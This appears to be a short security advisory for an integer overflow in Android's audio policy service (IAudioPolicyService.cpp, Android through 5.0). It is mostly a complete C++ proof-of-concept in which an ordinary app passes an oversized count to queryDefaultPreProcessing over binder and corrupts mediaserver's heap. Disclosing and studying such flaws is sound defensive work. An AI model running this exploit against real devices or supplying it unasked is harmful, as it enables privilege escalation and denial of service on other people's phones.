Introduction
------------
An Integer overflow in the BnAudioPolicyService::onTransact function in
frameworks <http://androidxref.com/4.4.4_r1/xref/frameworks/>/av
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/>/media
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/>/libmedia

IAudioPolicyService.cpp
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp>
in Android through 5.0 allow attackers to gain privileges or cause a denial
of service (memory corruption) via vectors that trigger a large number of
count value.

Attack vector
-------------
A normal Apps can corrupt the heap in mediaserver by this vulnerabilities.
the PoC of corrupting the heap is as follows
#include <binder/Parcel.h>
#include <binder/ProcessState.h>
#include <binder/IServiceManager.h>
#include <media/IAudioPolicyService.h>
#include <binder/TextOutput.h>
#include <system/audio.h>
#include <sys/stat.h>
#include <fcntl.h>
using namespace android;
int main(__attribute__((unused)) int argc, __attribute__((unused)) char*
const argv[])
{
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> service = sm->checkService(String16("media.audio_policy"));
sp<IAudioPolicyService> iPolicy =
IAudioPolicyService::asInterface(service);
effect_descriptor_t descriptors;
uint32_t count=0xfffffff;
iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1);
iPolicy->queryDefaultPreProcessing(1,&descriptors,&count);
return 0;
}
